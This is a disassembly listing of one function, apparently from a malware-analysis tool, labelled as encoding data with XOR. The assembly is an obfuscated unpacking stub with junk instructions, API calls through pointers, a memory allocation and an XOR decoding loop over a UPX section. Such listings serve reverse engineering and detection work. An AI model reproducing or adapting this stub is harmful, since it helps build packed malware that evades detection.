Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x34574ed8
and ebx, ebx
dec ecx
popal
mov ecx, 0xffedbcc7
sub ecx, 0x40617baf
mov esi, 0
mov edi, edx
inc ecx
dec eax
mov ebx, edi
not eax
sub eax, ecx
sub eax, ecx
mov edx, ebx
and ecx, ecx
mov ecx, eax
inc esi
or eax, eax
add eax, 0xaf3ea815
cmp esi, 0x100fd30
jne 0xa789c6
sub eax, ecx
mov eax, 0x2f421a96
or eax, eax
sub ecx, 0x16aed03
inc ecx
add ebx, ecx
mov edi, 0xa78796
and eax, ebx
add ebx, eax
mov edx, 0xd9eddb37
mov esi, 0xa7898a
inc eax
not eax
mov ecx, dword [edi]
sub ebx, eax
inc edx
and ebx, edx
and ecx, 0xff
mov edx, 0x7811211a
mov ebx, edx
dec eax
xor dword [esi], ecx
add edx, 0xb53ff309
add ebx, 0xce4f9959
inc esi
add edx, 0x49f378fc
mov eax, 0x3b9ab720
inc edi
add ebx, 0x3cbf9462
add eax, 1
cmp esi, entry0
jl 0xa78a15
mov eax, 0xc579c69b
add eax, 0xa242a788
sub edx, 0x36af97d
or eax, ebx
add ebx, 0xb746598b
add edx, ebx
dec edx
add edi, 0x54af83b9
mov esi, 0xa7898e
sub edx, 0x23c990a9
dec edx
inc edx
mov esi, dword [esi]
sub edi, ecx
or edi, ebx
mov esi, dword [esi]
sub ebx, 0xabd1ef15
mov edx, 0x9b941077
push esi
and ecx, edi
sub edi, 0x945ec5a6
mov esi, 0xa7898a
dec edx
add ebx, edx
inc edi
mov esi, dword [esi]
or ebx, edx
add edx, 0xb85455f7
dec edx
mov esi, dword [esi]
sub ebx, edx
mov ecx, edx
push 0xa78992
mov edi, 0xa10ad7cc
sub edx, edi
inc edi
call esi
mov edx, edi
and ecx, edx
or ecx, edx
pop esi
sub ebx, 0x85bf32d6
dec ecx
add ecx, 0xc93aa742
push 0xa7899f
inc edx
or edx, edi
sub esp, 4
mov dword [esp], eax
and ebx, ecx
and edx, ecx
call esi
dec edi
or edi, edi
push 0x40
mov edx, edi
sub edi, ebx
add edx, 0xc30acc53
push 0x3000
sub ebx, edi
add ecx, ecx
sub esp, 4
mov dword [esp], 0x200009b5
dec edx
not edi
sub edi, edx
push 0
sub edx, ecx
add edi, 1
mov edx, edi
call eax
sub edx, 0xad422140
sub edx, ebx
add eax, 0x20000920
mov ebx, 0xff25e946
and edi, edx
and ecx, edi
mov esi, 0x7e7b4f91
inc edx
and edx, edx
mov dword [eax], esi
not ebx
sub edx, 1
add ebx, edi
mov esi, dword [eax]
sub ecx, 0xa1ff34ef
not edi
add edx, 0xbcff7a63
cmp esi, 0x7e7b4f91
je 0xa78b7e
mov ecx, 0
mov byte [ecx], bl
mov ebx, 0x6d929d08
add edi, edx
dec ebx
add ecx, ecx
sub edi, 0x1674ae81
inc ebx
and ecx, ecx
mov eax, section.UPX1
add ecx, ebx
inc ebx
sub ebx, 0xd42be58d
mov edi, 0xa78795
sub ebx, ecx
and ecx, ebx
mov edx, 0
add ecx, ecx
mov ebx, ecx
inc ebx
mov esi, 0xa78796
sub ebx, 0xf855483d
sub ebx, 0xfa46d476
add ecx, ebx
lea esi, [esi + edx]
add ecx, ecx
mov ebx, ecx
mov esi, dword [esi]
add ebx, ecx
add ecx, ebx
sub ecx, 0xd02297be
and esi, 0xff
sub ecx, 0x708b78a
add ecx, ebx
inc edx
not ebx
mov ebx, ecx
mov ebx, ecx
cmp edx, 0x1f4
jne 0xa78bfa
mov edx, 0
inc ebx
add ecx, 1
inc ebx
mov ebx, ecx
dec ebx
mov ebx, ecx
xor dword [eax], esi
dec ebx
inc ebx
add eax, 2
inc ecx
or ecx, ecx
cmp eax, edi
jl 0xa78bb2
not ecx
inc ecx
or ecx, ecx
mov ecx, ebx
not ecx
mov edx, section.UPX1
add eax, 0xce5674c7
and eax, eax
add eax, ecx
mov edi, section.UPX1
sub ecx, eax
mov eax, ecx
mov esi, 0xa78795
sub eax, ecx
dec eax
add ecx, 1
mov ebx, 0
add eax, ecx
add ecx, 0xca0abae1
mov bl, byte [edi]
mov ecx, eax
and eax, ecx
mov byte [edx], bl
mov eax, 0x978abbe2
and eax, eax
not eax
inc edx
sub ecx, 0x129a9c85
inc eax
not ecx
add edi, 2
sub ecx, 0xef52f3be
add eax, ecx
sub eax, 0x9cf18cb1
cmp edi, esi
jle 0xa78c58
sub ecx, 1
not ecx
mov ecx, 0x83d972bf
sub ebx, 0xcf2e77fe
sub ecx, ebx
push 0x8dc6a0
add ecx, 0x4905f665
dec ecx
ret